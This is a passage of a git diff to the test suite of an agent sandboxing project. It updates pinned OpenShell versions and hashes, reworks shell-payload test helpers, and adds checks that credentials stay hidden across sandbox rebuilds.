+    expect(CREDENTIAL_WINDOW_ENV_NAME).toBe("FAKE_MCP_SECRET");
+    expect(script).toContain("process.argv[1]");
+    expect(script).toContain("process.argv[2]");
+    expect(script).toContain('"^openshell:resolve:env:(v[0-9]{1,20})_" + config.envName + "$"');
+    expect(script).toContain('authorization: "Bearer " + credentialPlaceholder');
+    expect(script).toContain("request.setTimeout(30_000");
+    expect(credentialWindowRequestId(CREDENTIAL_WINDOW_STEPS.fallbackAfterEviction)).toBe(
+      "nemoclaw-credential-window:fallback-after-eviction",
+    );
+    expect(script).not.toContain(MCP_BRIDGE_TEST_CREDENTIALS.generationWindow);
+  });
+
+  it("keeps the live target on the reviewed agent and mutation boundaries", () => {
+    const liveTarget = fs.readFileSync(
+      "test/e2e/live/openshell-credential-generation-window.test.ts",
+      "utf8",
+    );
+
+    expect(liveTarget).toContain('NEMOCLAW_AGENT: "openclaw"');
+    expect(liveTarget).toContain('["nemoclaw-start", "node", "-e"');
+    expect(liveTarget).toContain("CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry");
+    expect(liveTarget).toContain("CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval");
+    expect(liveTarget).toContain('["sandbox", "provider", "detach"');
+    expect(liveTarget).toContain('[SANDBOX_NAME, "mcp", "restart", SERVER_NAME]');
+    expect(liveTarget).toContain('[SANDBOX_NAME, "rebuild", "--yes"]');
+    expect(liveTarget).toContain('!request.auth.includes("openshell:resolve:env")');
+  });
+});
diff --git a/test/pr-e2e-gate-signal-shards.test.ts b/test/pr-e2e-gate-signal-shards.test.ts
new file mode 100644
index 0000000000..802a3e6d47
--- /dev/null
+++ b/test/pr-e2e-gate-signal-shards.test.ts
@@ -0,0 +1,53 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from "vitest";
+
+import {
+  buildRiskPlan,
+  PR_E2E_TYPED_TARGET_IDS,
+  riskPlanRequiredJobIds,
+} from "../tools/advisors/risk-plan.mts";
+import { expectedSignalShards } from "../tools/e2e/pr-e2e-gate.mts";
+
+const HEAD_SHA = "a".repeat(40);
+const DCODE_TARGET = PR_E2E_TYPED_TARGET_IDS[0];
+const BROAD_FILES = [
+  "src/lib/onboard.ts",
+  "src/lib/actions/upgrade-sandboxes.ts",
+  "src/lib/actions/sandbox/agents/apply.ts",
+  "src/lib/messaging/applier/agent-config.ts",
+  "src/lib/inference/health.ts",
+  "install.sh",
+  "src/lib/credentials/provider-list.ts",
+] as const;
+
+describe("PR E2E signal shard policy", () => {
+  it("derives shard policy from the checked-in workflow", () => {
+    expect(expectedSignalShards(["onboard-repair", "onboard-resume"])).toEqual({
+      "onboard-repair": ["default"],
+      "onboard-resume": ["default"],
+    });
+    expect(expectedSignalShards(["docs-validation"])).toEqual({
+      "docs-validation": ["default"],
+    });
+    expect(expectedSignalShards(["hermes-inference-switch", "openclaw-inference-switch"])).toEqual({
+      "hermes-inference-switch": ["hosted", "anthropic"],
+      "openclaw-inference-switch": ["hosted", "anthropic"],
+    });
+    expect(expectedSignalShards(["openshell-gateway-upgrade"], undefined, [DCODE_TARGET])).toEqual({
+      "openshell-gateway-upgrade": [
+        "v0-0-36-x86-64",
+        "v0-0-55-x86-64",
+        "v0-0-55-aarch64",
+        "v0-0-74-x86-64",
+      ],
+      [DCODE_TARGET]: ["default"],
+    });
+    const broadPlan = buildRiskPlan({ headSha: HEAD_SHA, changedFiles: BROAD_FILES });
+    const broadShards = expectedSignalShards(riskPlanRequiredJobIds(broadPlan));
+    expect(Object.keys(broadShards)).toHaveLength(13);
+    expect(Object.values(broadShards).flat()).toHaveLength(15);
+    expect(() => expectedSignalShards(["not-a-workflow-job"])).toThrow(/does not define/u);
+  });
+});
diff --git a/test/pr-e2e-gate.test.ts b/test/pr-e2e-gate.test.ts
index d766da4f09..d7ee5572be 100644
--- a/test/pr-e2e-gate.test.ts
+++ b/test/pr-e2e-gate.test.ts
@@ -387,29 +387,6 @@ describe("PR E2E controller", () => {
     expect(() => validateSignal({ ...valid, jobId: "other" }, gate)).toThrow(/unexpected/u);
   });
 
-  it("derives shard policy from the checked-in workflow", () => {
-    expect(expectedSignalShards(["onboard-repair", "onboard-resume"])).toEqual({
-      "onboard-repair": ["default"],
-      "onboard-resume": ["default"],
-    });
-    expect(expectedSignalShards(["docs-validation"])).toEqual({
-      "docs-validation": ["default"],
-    });
-    expect(expectedSignalShards(["hermes-inference-switch", "openclaw-inference-switch"])).toEqual({
-      "hermes-inference-switch": ["hosted", "anthropic"],
-      "openclaw-inference-switch": ["hosted", "anthropic"],
-    });
-    expect(expectedSignalShards(["openshell-gateway-upgrade"], undefined, [DCODE_TARGET])).toEqual({
-      "openshell-gateway-upgrade": ["v0-0-36-x86-64", "v0-0-55-x86-64", "v0-0-55-aarch64"],
-      [DCODE_TARGET]: ["default"],
-    });
-    const broadPlan = buildRiskPlan({ headSha: HEAD_SHA, changedFiles: BROAD_FILES });
-    const broadShards = expectedSignalShards(riskPlanRequiredJobIds(broadPlan));
-    expect(Object.keys(broadShards)).toHaveLength(13);
-    expect(Object.values(broadShards).flat()).toHaveLength(15);
-    expect(() => expectedSignalShards(["not-a-workflow-job"])).toThrow(/does not define/u);
-  });
-
   it("dispatches selected jobs and the allowlisted target with exact bound metadata (#7031)", async () => {
     const jobs = ["onboard-repair", "onboard-resume", "full-e2e", "hermes-e2e"];
     const fetchMock = vi.spyOn(globalThis, "fetch").mockImplementation(
diff --git a/test/pr-workflow-contract.test.ts b/test/pr-workflow-contract.test.ts
index 77d0855470..20a43447db 100644
--- a/test/pr-workflow-contract.test.ts
+++ b/test/pr-workflow-contract.test.ts
@@ -641,7 +641,7 @@ describe("pull request and main workflow contracts", () => {
       "scripts/install-openshell.sh",
       "scripts/update-hermes-agent.sh",
       "src/lib/actions/sandbox/mcp-bridge-validation.ts",
-      "src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.72.json",
+      "src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json",
     ]) {
       expect(files.test(path), path).toBe(true);
     }
diff --git a/test/process-recovery-primitives.test.ts b/test/process-recovery-primitives.test.ts
index 700239b4ac..3c9194573e 100644
--- a/test/process-recovery-primitives.test.ts
+++ b/test/process-recovery-primitives.test.ts
@@ -412,7 +412,7 @@ describe("executeSandboxExecCommand", () => {
     expect(dockerSpawnSync).not.toHaveBeenCalled();
   });
 
-  it("passes a newline-free Hermes validator payload to OpenShell", () => {
+  it("keeps the Hermes validator source out of the host shell payload", () => {
     const childProcess = requireSource("node:child_process");
     const spawn = vi.spyOn(childProcess, "spawnSync").mockReturnValue({
       status: 0,
@@ -430,10 +430,9 @@ describe("executeSandboxExecCommand", () => {
     const args = spawn.mock.calls[0]?.[1] as string[];
     const shellPayload = args.at(-1) ?? "";
     expect(result).toEqual({ status: 0, stdout: "SECRET_BOUNDARY_OK", stderr: "" });
-    expect(shellPayload.includes("\n")).toBe(false);
-    expect(shellPayload.includes("\r")).toBe(false);
     expect(shellPayload).toContain("printf '%s\\n' '__NEMOCLAW_SANDBOX_EXEC_STARTED__'");
     expect(shellPayload).toContain("base64 -d | sh");
+    expect(shellPayload).not.toContain("echo SECRET_BOUNDARY_OK");
   });
 
   it("falls back to local Docker root exec when OpenShell exec output has no marker", () => {
diff --git a/test/rebuild-credential-preflight.test.ts b/test/rebuild-credential-preflight.test.ts
index 561ea0547f..803d69a8d5 100644
--- a/test/rebuild-credential-preflight.test.ts
+++ b/test/rebuild-credential-preflight.test.ts
@@ -15,7 +15,7 @@ import fs from "node:fs";
 import os from "node:os";
 import path from "node:path";
 import { afterEach, describe, expect, it } from "vitest";
-import { execTimeout } from "./helpers/timeouts";
+import { execTimeout, testTimeout } from "./helpers/timeouts";
 
 const REPO_ROOT = path.join(import.meta.dirname, "..");
 const NODE_BIN = path.dirname(process.execPath);
@@ -38,6 +38,7 @@ function createFixture(opts: {
   savedCredential?: { key: string; value: string };
   hermesAuthMethod?: string | null;
   providerRegistered?: boolean;
+  sandboxDeleteExitCode?: number;
   activeSessionCount?: number | null;
   inferenceProbeHttpStatus?: number | null;
 }) {
@@ -48,6 +49,7 @@ function createFixture(opts: {
     savedCredential,
     hermesAuthMethod = null,
     providerRegistered = true,
+    sandboxDeleteExitCode = 0,
     activeSessionCount = 0,
     inferenceProbeHttpStatus = null,
   } = opts;
@@ -166,10 +168,10 @@ const fs = require("fs");
 const a = process.argv.slice(2);
 const hermesProviderStatePath = ${JSON.stringify(hermesProviderStatePath)};
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (a[0] === "-V" || a[0] === "--version") { process.stdout.write("openshell 0.0.72\\n"); process.exit(0); }
+if (a[0] === "-V" || a[0] === "--version") { process.stdout.write("openshell 0.0.85\\n"); process.exit(0); }
 if (a[0] === "sandbox" && a[1] === "list") { process.stdout.write("${sandboxName} Ready\\n"); process.exit(0); }
 if (a[0] === "sandbox" && a[1] === "ssh-config") { process.stdout.write("${sshConfig}\\n"); process.exit(0); }
-if (a[0] === "sandbox" && a[1] === "delete") { fs.writeFileSync(${JSON.stringify(deleteMarker)}, "deleted\\n"); process.exit(0); }
+if (a[0] === "sandbox" && a[1] === "delete") { fs.writeFileSync(${JSON.stringify(deleteMarker)}, "deleted\\n"); process.exit(${sandboxDeleteExitCode}); }
 if (a[0] === "sandbox" && a[1] === "exec") {
   const command = a.join(" ");
   if (command.includes("rebuild-atomicity-marker.txt")) {
@@ -225,7 +227,7 @@ process.exit(0);
       path.join(tmpDir, component),
       `#!/usr/bin/env node
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.72\\n");
+if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.85\\n");
 process.exit(0);
 `,
       { mode: 0o755 },
@@ -419,13 +421,16 @@ describe("atomic rebuild process contracts (#2273)", () => {
     expect(marker.stdout).toContain("dcode-atomicity-marker");
   });
 
-  it("registers an exported Hermes API key without exposing its name or value", () => {
+  it("registers an exported Hermes API key without exposing its name or value", {
+    timeout: testTimeout(60_000),
+  }, () => {
     const fixture = createFixture({
       agent: "hermes",
       provider: "hermes-provider",
       credentialEnv: "NOUS_API_KEY",
       hermesAuthMethod: "api_key",
       providerRegistered: false,
+      sandboxDeleteExitCode: 1,
     });
 
     const result = runRebuild(fixture, { NOUS_API_KEY: "nous-key-from-env" });
diff --git a/test/rebuild-shields-auto-unlock.test.ts b/test/rebuild-shields-auto-unlock.test.ts
index 0dd8e85428..bf6d540e40 100644
--- a/test/rebuild-shields-auto-unlock.test.ts
+++ b/test/rebuild-shields-auto-unlock.test.ts
@@ -178,7 +178,7 @@ function createFixture(opts: { shieldsLocked: boolean }) {
     `#!/usr/bin/env node
 const a = process.argv.slice(2);
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (a[0]==="-V" || a[0]==="--version")         { process.stdout.write("openshell 0.0.72\\n"); process.exit(0); }
+if (a[0]==="-V" || a[0]==="--version")         { process.stdout.write("openshell 0.0.85\\n"); process.exit(0); }
 if (a[0]==="sandbox" && a[1]==="list")       { process.stdout.write("${sandboxName}\\n"); process.exit(0); }
 if (a[0]==="sandbox" && a[1]==="ssh-config") { process.stdout.write("${sshConfig}\\n"); process.exit(0); }
 if (a[0]==="sandbox" && a[1]==="delete")     { process.exit(0); }
@@ -201,7 +201,7 @@ process.exit(0);
       path.join(tmpDir, component),
       `#!/usr/bin/env node
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.72\\n");
+if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.85\\n");
 process.exit(0);
 `,
       { mode: 0o755 },
diff --git a/test/rebuild-stale-recovery.test.ts b/test/rebuild-stale-recovery.test.ts
index eac5a4695f..e8157f3f15 100644
--- a/test/rebuild-stale-recovery.test.ts
+++ b/test/rebuild-stale-recovery.test.ts
@@ -136,7 +136,7 @@ function createStaleFixture({ failSandboxCreate = false }: { failSandboxCreate?:
     `#!/usr/bin/env node
 const a = process.argv.slice(2);
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (a[0]==="-V" || a[0]==="--version")       { process.stdout.write("openshell 0.0.72\\n"); process.exit(0); }
+if (a[0]==="-V" || a[0]==="--version")       { process.stdout.write("openshell 0.0.85\\n"); process.exit(0); }
 if (a[0]==="sandbox" && a[1]==="list")       { process.stdout.write("\\n"); process.exit(0); }
 if (a[0]==="sandbox" && a[1]==="delete")     { process.exit(0); }
 if (a[0]==="sandbox" && a[1]==="create" && ${JSON.stringify(failSandboxCreate)}) { process.stderr.write("injected sandbox create failure\\n"); process.exit(1); }
@@ -156,7 +156,7 @@ process.exit(0);
       path.join(tmpDir, component),
       `#!/usr/bin/env node
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.72\\n");
+if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.85\\n");
 process.exit(0);
 `,
       { mode: 0o755 },
diff --git a/test/repro-2201.test.ts b/test/repro-2201.test.ts
index d65567d025..90cf200493 100644
--- a/test/repro-2201.test.ts
+++ b/test/repro-2201.test.ts
@@ -231,7 +231,7 @@ function createFixture({
     `#!/usr/bin/env node
 const a = process.argv.slice(2);
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (a[0]==="-V" || a[0]==="--version")         { process.stdout.write("openshell 0.0.72\\n"); process.exit(0); }
+if (a[0]==="-V" || a[0]==="--version")         { process.stdout.write("openshell 0.0.85\\n"); process.exit(0); }
 if (a[0]==="status")                            { process.stdout.write("Server Status\\n  Gateway: nemoclaw\\n  Status: Connected\\n"); process.exit(0); }
 if (a[0]==="gateway" && a[1]==="info")          { const i=a.indexOf("-g"); const name=i>=0?a[i+1]:"nemoclaw"; process.stdout.write("Gateway Info\\n\\nGateway: " + name + "\\n"); process.exit(0); }
 if (a[0]==="gateway" && a[1]==="select")        { process.exit(0); }
@@ -248,7 +248,7 @@ process.exit(0);
       path.join(tmpDir, component),
       `#!/usr/bin/env node
 const requiredFeatures = "request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods";
-if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.72\\n");
+if (process.argv[2] === "-V" || process.argv[2] === "--version") process.stdout.write("${component} 0.0.85\\n");
 process.exit(0);
 `,
       { mode: 0o755 },
diff --git a/test/runner.test.ts b/test/runner.test.ts
index b711bd01a3..56e17c1143 100644
--- a/test/runner.test.ts
+++ b/test/runner.test.ts
@@ -12,14 +12,14 @@ import { redact, runCapture } from "../src/lib/runner";
 
 const runnerPath = path.join(import.meta.dirname, "..", "src", "lib", "runner.ts");
 const PINNED_OPEN_SHELL_SHA256 = {
-  cliDarwinArm64: "117b5354cc42d80bc4d5e070ea5ac4e341208ff6d3c29b516d8a9c80e2310f8d",
-  cliLinuxArm64: "a5ff01a3240d73c72ec1700eda6cc6c752a86cf50c5dd1b5bdc459f544d03045",
-  cliLinuxX64: "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4",
-  gatewayDarwinArm64: "8c07362107393eb5f4ae4b9ee9f4257fd53862c51ad8dd96f2fe31bb6d8d7ffb",
-  gatewayLinuxArm64: "a97dcb3acb04fb2d1170c1a2170228990c2337e25bb8c18817e5a6e952204108",
-  gatewayLinuxX64: "03225fb9388b682af1a5f1614b26b75f828da6031e3ffc1fd920b6fbe5f70877",
-  sandboxLinuxArm64: "2cf62cbd651e55d0f8750804e2b4025e0d6c8eea4564c87cda47a2c922941db0",
-  sandboxLinuxX64: "811f914b6a6a3a3f4533449ddebebb6422333861a27a5fa848db6cbfdffdd230",
+  cliDarwinArm64: "522c963f9515c7325b978e89022de76227ac245eefe1371292af1424434e2067",
+  cliLinuxArm64: "3cf353e7994d5835a233fe0641f9a860779190b054d0f90a04c897be782734b8",
+  cliLinuxX64: "078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb",
+  gatewayDarwinArm64: "5de3e08ad1bdb0cdd01373999f537edca3d8aca22ae1c29bc9926969fe401e45",
+  gatewayLinuxArm64: "09f2823f6e9c5f70f4482b200206eac455d789618da4ebe4acff042d794e7162",
+  gatewayLinuxX64: "718cc9f942f88565cacb13c39717b128d6acc8d336212d42d26243f36ab19ece",
+  sandboxLinuxArm64: "2c52b2971aecf125e41ed160d8d2f2addf04031906ca88f120ae3d436dd6b8f7",
+  sandboxLinuxX64: "94306f057d862cd5c34a0daa7692491733bc5ca528a7b92f9f62f717fb70a9be",
 };
 
 type SpawnCallOptions = {
@@ -765,7 +765,7 @@ describe("regression guards", () => {
               shift || true
             done
             [ -n "$destination" ] || return 2
-            printf '%s\n' '#!/bin/sh' 'echo "0.0.72"' > "$destination/$expected"
+            printf '%s\n' '#!/bin/sh' 'echo "0.0.85"' > "$destination/$expected"
             chmod +x "$destination/$expected"
             ;;
           *) return 2 ;;
@@ -867,7 +867,7 @@ describe("regression guards", () => {
               shift || true
             done
             [ -n "$destination" ] || return 2
-            printf '%s\n' '#!/bin/sh' 'echo "0.0.72"' > "$destination/$expected"
+            printf '%s\n' '#!/bin/sh' 'echo "0.0.85"' > "$destination/$expected"
             chmod +x "$destination/$expected"
             ;;
           *) return 2 ;;
diff --git a/test/sandbox-connect-inference/auto-pair-approval.test.ts b/test/sandbox-connect-inference/auto-pair-approval.test.ts
index f5a50a62e2..7ba528e928 100644
--- a/test/sandbox-connect-inference/auto-pair-approval.test.ts
+++ b/test/sandbox-connect-inference/auto-pair-approval.test.ts
@@ -13,7 +13,6 @@ import {
 } from "../../src/lib/actions/sandbox/connect-autopair-budget";
 import { testTimeoutOptions } from "../helpers/timeouts";
 import {
-  decodeWrappedSandboxScript,
   extractApprovalPassScript,
   runApprovalPassScript,
   runConnect,
@@ -21,12 +20,10 @@ import {
 } from "./helpers";
 
 function findApprovalExec(sandboxExecCalls: string[][]): string[] | undefined {
-  // The approval-pass payload is base64-wrapped so it survives OpenShell exec's
-  // no-newline-in-args rule (wrapSandboxShellScript), so identify the call by
-  // its decoded payload rather than literal segments.
+  // OpenShell carries the approval pass as one multiline command argument.
   return sandboxExecCalls.find((call) => {
     if (!call.includes("--")) return false;
-    const inner = decodeWrappedSandboxScript(call[call.length - 1] || "");
+    const inner = call[call.length - 1] || "";
     return inner.includes("openclaw") && inner.includes("devices") && inner.includes("approve");
   });
 }
@@ -237,8 +234,7 @@ describe("sandbox connect auto-pair approval pass (#4263)", () => {
       // non-zero for it, per the hook above).
       const approvalExec = (state.sandboxExecCalls as string[][]).find((call) => {
         if (!call.includes("--")) return false;
-        // The payload is base64-wrapped for OpenShell exec; decode to identify it.
-        const inner = decodeWrappedSandboxScript(call[call.length - 1] || "");
+        const inner = call[call.length - 1] || "";
         return inner.includes("openclaw") && inner.includes("devices") && inner.includes("approve");
       });
       expect(approvalExec).toBeDefined();
diff --git a/test/sandbox-connect-inference/helpers.ts b/test/sandbox-connect-inference/helpers.ts
index d2984d6fd3..08e2b0d2d2 100644
--- a/test/sandbox-connect-inference/helpers.ts
+++ b/test/sandbox-connect-inference/helpers.ts
@@ -230,18 +230,9 @@ if (args[0] === "sandbox" && args[1] === "exec") {
     fs.writeFileSync(stateFile, JSON.stringify(state));
     // Test hook (#4263 / CodeRabbit): when the connect-time auto-pair
     // approval pass is specifically targeted, simulate the failure
-    // path the production code must tolerate. The approval-pass script is
-    // base64-wrapped for OpenShell exec, so decode the payload first; it is
-    // identifiable by its embedded \`openclaw devices approve\` call.
-    let approvalCmd = command;
-    const wrapMatch = command.match(/printf %s '([A-Za-z0-9+/=]+)' \\| base64 -d/);
-    if (wrapMatch) {
-      try {
-        approvalCmd = Buffer.from(wrapMatch[1], "base64").toString("utf8");
-      } catch (_err) {
-        approvalCmd = command;
-      }
-    }
+    // path the production code must tolerate. OpenShell carries the script as
+    // one multiline command argument, identifiable by its embedded approval.
+    const approvalCmd = args[args.length - 1] || "";
     if (
       process.env.OPENSHELL_TEST_FAIL_APPROVAL_PASS === "1" &&
       approvalCmd.includes("openclaw") &&
@@ -589,12 +580,10 @@ export function runConnect(
 
 export function extractApprovalPassScript(stateFile: string, sandboxName: string): string {
   const state = JSON.parse(fs.readFileSync(stateFile, "utf-8"));
-  // The approval pass is base64-wrapped so it survives OpenShell exec's
-  // no-newline-in-args rule (see wrapSandboxShellScript), so identify the call
-  // by its decoded payload, not by literal segments.
+  // OpenShell carries the approval pass as one multiline command argument.
   const approvalExec = (state.sandboxExecCalls as string[][]).find((call) => {
     if (!call.includes("--")) return false;
-    const inner = decodeWrappedSandboxScript(call[call.length - 1] || "");
+    const inner = call[call.length - 1] || "";
     return inner.includes("openclaw") && inner.includes("devices") && inner.includes("approve");
   });
   expect(approvalExec).toBeDefined();
@@ -602,21 +591,7 @@ export function extractApprovalPassScript(stateFile: string, sandboxName: string
   expect(approvalExec).toContain("exec");
   expect(approvalExec).toContain("--name");
   expect(approvalExec).toContain(sandboxName);
-  const lastArg = approvalExec?.[approvalExec.length - 1] || "";
-  // Decode it back to the literal payload so callers can assert on/run the
-  // real script.
-  return decodeWrappedSandboxScript(lastArg);
-}
-
-/**
- * Reverse `wrapSandboxShellScript`: extract the base64 payload from a
- * `printf %s '<b64>' | base64 -d` wrapper and decode it. Returns the input
- * unchanged when it is not wrapped.
- */
-export function decodeWrappedSandboxScript(wrapped: string): string {
-  const match = wrapped.match(/printf %s '([A-Za-z0-9+/=]+)' \| base64 -d/);
-  if (!match) return wrapped;
-  return Buffer.from(match[1], "base64").toString("utf-8");
+  return approvalExec?.[approvalExec.length - 1] || "";
 }
 
 export function runApprovalPassScript(
diff --git a/test/sandbox-provisioning.test.ts b/test/sandbox-provisioning.test.ts
index f486839df8..69301702e9 100644
--- a/test/sandbox-provisioning.test.ts
+++ b/test/sandbox-provisioning.test.ts
@@ -1149,7 +1149,7 @@ describe("Hermes sandbox provisioning", () => {
     const gatewaySupervisorPath = path.join(localLib, "gateway-supervisor.sh");
     const buildMcpDigestPath = path.join(localLib, "build-hermes-mcp-digest.py");
     const mcpConfigTransactionPath = path.join(localLib, "hermes-mcp-config-transaction.py");
-    const mcpManifest = path.join(localLib, "openshell-child-visible-credentials.v0.0.72.json");
+    const mcpManifest = path.join(localLib, "openshell-child-visible-credentials.v0.0.85.json");
     const stateDirGuardPath = path.join(localLib, "state-dir-guard.py");
     const managedGatewayControlPath = path.join(localLib, "managed-gateway-control.py");
     const files = [
diff --git a/test/sandbox-rlimit-hooks.test.ts b/test/sandbox-rlimit-hooks.test.ts
index 86a2405113..546b7836c3 100644
--- a/test/sandbox-rlimit-hooks.test.ts
+++ b/test/sandbox-rlimit-hooks.test.ts
@@ -561,7 +561,7 @@ describe("sandbox rlimit system hooks (#2173)", () => {
     const mcpTransaction = path.join(localLib, "hermes-mcp-config-transaction.py");
     const mcpCredentialBoundary = path.join(
       localLib,
-      "openshell-child-visible-credentials.v0.0.72.json",
+      "openshell-child-visible-credentials.v0.0.85.json",
     );
     const preloadDir = path.join(localLib, "preloads");
     const safetyNet = path.join(preloadDir, "sandbox-safety-net.js");
@@ -620,7 +620,7 @@ describe("sandbox rlimit system hooks (#2173)", () => {
         .replaceAll("/usr/local/lib/nemoclaw/build-hermes-mcp-digest.py", buildMcpDigest)
         .replaceAll("/usr/local/lib/nemoclaw/hermes-mcp-config-transaction.py", mcpTransaction)
         .replaceAll(
-          "/usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.72.json",
+          "/usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.85.json",
           mcpCredentialBoundary,
         )
         .replaceAll("/usr/local/lib/nemoclaw/preloads/sandbox-safety-net.js", safetyNet)
diff --git a/test/support/openshell-gateway-config-helpers.ts b/test/support/openshell-gateway-config-helpers.ts
index a75b0741fb..a100d84f64 100644
--- a/test/support/openshell-gateway-config-helpers.ts
+++ b/test/support/openshell-gateway-config-helpers.ts
@@ -26,6 +26,12 @@ export const GATEWAY_AUTH_REVIEW_NOTE = path.join(
   "security",
   "openshell-0.0.72-compatibility-review.mdx",
 );
+export const GATEWAY_MIGRATION_REVIEW_NOTE = path.join(
+  REPO_ROOT,
+  "docs",
+  "security",
+  "openshell-0.0.85-migration-review.md",
+);
 const SANDBOX_JWT_SUBJECT_PREFIX = "spiffe://openshell/sandbox/";
 
 export type JwtBundlePaths = {
@@ -40,7 +46,7 @@ export function baseGatewayEnv(stateDir: string): Record<string, string> {
     OPENSHELL_LOCAL_TLS_DIR: path.join(stateDir, "tls"),
     OPENSHELL_DOCKER_NETWORK_NAME: "openshell-docker",
     OPENSHELL_DOCKER_SUPERVISOR_IMAGE:
-      "ghcr.io/nvidia/openshell/supervisor@sha256:80ed9cda5bf672fefdb9dcd4604b40a8b09c0891b6eb9d03e10227c7e3dfb49d",
+      "ghcr.io/nvidia/openshell/supervisor@sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9",
   };
 }
 
diff --git a/test/update-hermes-agent-script.test.ts b/test/update-hermes-agent-script.test.ts
index 31e40c2857..9a0de687ed 100644
--- a/test/update-hermes-agent-script.test.ts
+++ b/test/update-hermes-agent-script.test.ts
@@ -33,7 +33,7 @@ const CURRENT_INSTALLED_DOCKERFILE = [
   "COPY agents/hermes/build-mcp-digest.py /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py",
   'RUN mcp_digest="$(/opt/hermes/.venv/bin/python -I /usr/local/lib/nemoclaw/build-hermes-mcp-digest.py --guard /usr/local/lib/nemoclaw/hermes-runtime-config-guard.py --config /sandbox/.hermes/config.yaml)"',
   "COPY agents/hermes/mcp-config-transaction.py /usr/local/lib/nemoclaw/hermes-mcp-config-transaction.py",
-  "COPY src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.72.json /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.72.json",
+  "COPY src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json /usr/local/lib/nemoclaw/openshell-child-visible-credentials.v0.0.85.json",
   "RUN HERMES_HOME=/sandbox/.hermes /usr/local/bin/hermes doctor --fix \\",
   "    && node --experimental-strip-types /opt/nemoclaw-hermes-config/generate-config.ts",
   "RUN mkdir -p /sandbox/.hermes/dashboard-home",
@@ -275,7 +275,7 @@ fi
     );
     const installedAgentDockerfile = path.join(path.dirname(installedDockerfile), "Dockerfile");
     const preMcpDockerfile = CURRENT_INSTALLED_DOCKERFILE.replace(
-      /^(?:COPY (?:agents\/hermes\/(?:build-mcp-digest|mcp-config-transaction)\.py|src\/lib\/actions\/sandbox\/openshell-child-visible-credentials\.v0\.0\.72\.json) .*|RUN mcp_digest=.*build-hermes-mcp-digest\.py.*)\n/gm,
+      /^(?:COPY (?:agents\/hermes\/(?:build-mcp-digest|mcp-config-transaction)\.py|src\/lib\/actions\/sandbox\/openshell-child-visible-credentials\.v0\.0\.85\.json) .*|RUN mcp_digest=.*build-hermes-mcp-digest\.py.*)\n/gm,
       "",
     );
     fs.mkdirSync(path.dirname(installedDockerfile), { recursive: true });
@@ -300,7 +300,7 @@ fi
       expect(run.status).toBe(1);
       expect(run.stdout).toContain("INVALID: installed copy");
       expect(run.stdout).toContain("marker hermes-mcp-config-transaction.py");
-      expect(run.stdout).toContain("marker openshell-child-visible-credentials.v0.0.72.json");
+      expect(run.stdout).toContain("marker openshell-child-visible-credentials.v0.0.85.json");
       expect(run.stdout).toContain("marker COPY agents/hermes/build-mcp-digest.py");
       expect(run.stdout).toContain("marker /opt/hermes/.venv/bin/python -I");
       expect(fs.readFileSync(installedDockerfile, "utf-8")).toBe(CURRENT_INSTALLED_BASE);
diff --git a/tools/e2e/assert-mcp-agent-matrix-artifacts.mts b/tools/e2e/assert-mcp-agent-matrix-artifacts.mts
new file mode 100644
index 0000000000..2b54475cca
--- /dev/null
+++ b/tools/e2e/assert-mcp-agent-matrix-artifacts.mts
@@ -0,0 +1,125 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import fs from "node:fs";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+export const REQUIRED_MCP_AGENT_TEST_IDS = [
+  "mcp-bridge",
+  "mcp-bridge-hermes",
+  "mcp-bridge-deepagents",
+] as const;
+
+export interface McpAgentMatrixProof {
+  requiredTargetResultIds: readonly string[];
+  requiredTestIds: typeof REQUIRED_MCP_AGENT_TEST_IDS;
+  schemaVersion: 1;
+  status: "all-required-tests-passed";
+}
+
+function requireDirectory(target: string, label: string): void {
+  if (!fs.existsSync(target)) {
+    throw new Error(`${label} is missing: ${target}`);
+  }
+  const stat = fs.lstatSync(target);
+  if (stat.isSymbolicLink() || !stat.isDirectory()) {
+    throw new Error(`${label} must be a real directory: ${target}`);
+  }
+}
+
+function requireRegularFile(target: string, label: string): void {
+  if (!fs.existsSync(target)) {
+    throw new Error(`${label} is missing: ${target}`);
+  }
+  const stat = fs.lstatSync(target);
+  if (stat.isSymbolicLink() || !stat.isFile()) {
+    throw new Error(`${label} must be a regular file: ${target}`);
+  }
+}
+
+export function assertMcpAgentMatrixArtifacts(
